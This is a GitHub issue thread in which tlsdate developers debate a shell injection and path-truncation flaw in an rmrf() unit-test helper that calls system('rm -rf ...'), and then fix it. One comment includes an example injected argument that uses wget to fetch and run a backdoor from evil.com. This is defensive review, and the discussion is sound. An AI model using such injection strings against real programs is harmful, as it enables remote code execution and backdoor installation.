Shell injection in rmrf about tlsdate HOT 10 CLOSED

tlsdated-unittest.c doesn't seem to create a lot of files and it appears easy to just unlink() them when done and then rmdir() the directory instead of relying on rm -rf.

from tlsdate.

I'm not really sure that it counts as shell injection - the goal is to remove whatever directory you give it - so it must be used carefully. I'd take a patch to remove rmrf() entirely but generally, I don't think it is very pressing.

Do you want to propose a patch? I'm thinking about tagging 0.0.7 soon and I'd be happy to merge code that makes you happy if it continues to work as well as expected.

from tlsdate.

It's a shell injection. If I were to pass it the string '/tmp/blah ; wget http://evil.com/backdoor ; ./backdoor &' it would do those things too. Don't call system(3) unless you really want to type junk into the command line.

But this is apparently just test code, so perhaps the rmrf(...) function is not expected to need to be perfect. But still, it's sloppy.

The calls to snprintf() are broken too.

from tlsdate.

Yeah, the reason I lightly debate it being shell injection is that it is a unit test and not an injection from a user; if you can edit the code before compile, I guess you can generally execute arbitrary code.

I'd gladly take a patch though. I didn't write this code and I'm partial to having the original author (@elly) rewrite it.

from tlsdate.

With my security hat on, I find it hard to believe people who see this code would not want to remove it. It does not matter whether it is a unit test or not.

If I tell my collegues we should add this to the bootup of Fedora/RHEL, and they see a buffer overflow and shell injection and "rm -rf " in 4 lines of code, not only will they veto inclusion, they will wonder why I didn't see that before suggesting it for inclusion.

from tlsdate.

I added a proposed fix. The rmrf() function, as presently used (i.e. called on the result of mkdtemp(3)) is safe but I can replace it with some hardcoded unlink(2)/rmdir(2) calls. I do not see the buffer overflow alluded to by @letoams - can you point out exactly where it is?

from tlsdate.

On Thu, 9 May 2013, Elly Fong-Jones wrote:

I added a proposed fix. The rmrf() function, as presently used (i.e. called on the result of mkdtemp(3)) is safe but I can
replace it with some hardcoded unlink(2)/rmdir(2) calls. I do not see the buffer overflow alluded to by @letoams - can you point
out exactly where it is?

buffer overflow was not the right word, sorry. I meant to say if the
"dir" is larger then 256, then you might be deleting a higher level up
directory. eg if you pass "/some/long/mount/paul/" and "/some/long/mount"
is 256 chars, you will be deleting the parent directory. And if
malicious people get to call it using "../../../../../../../../../" then
other bad things can happen. It also segfaults if dir is NULL.

I'm not sure why you use PATH_MAX elsewhere, but not in rmrf for "buf",
or use MAX_PATH - sizeof("rm -rf "), but please don't see this as advise
to fix the rmrf() function :P

Paul

from tlsdate.

it's technically true that it misbehaves in those ways if called improperly, but it's not actually called improperly. If an attacker gets to supply input to rmrf(), they can pass something longer than PATH_MAX and we'll end up truncating it anyway, just to PATH_MAX bytes instead of 256 bytes. They could also pass NULL, causing a crash, but the function is never called in such a way. All of this code is in a unit test and hence never run 'in production'.

from tlsdate.

On Thu, 9 May 2013, Elly Fong-Jones wrote:

it's technically true that it misbehaves in those ways if called improperly, but it's not actually called improperly. If an
attacker gets to supply input to rmrf(), they can pass something longer than PATH_MAX and we'll end up truncating it anyway, just
to PATH_MAX bytes instead of 256 bytes. They could also pass NULL, causing a crash, but the function is never called in such a
way. All of this code is in a unit test and hence never run 'in production'.

I have said all I wanted to say about this issue. And we disagree.
That's fine.

from tlsdate.

I tend to agree with @letoams that static memory allocations are bad news bears but I also think that @elly is correct in that it isn't actually broken. It is skating on the edge of unsafe if someone else trips over it without understanding these points. Lucky us - @elly fixed it! Thanks to @letoams and @Javantea for the feedback!

from tlsdate.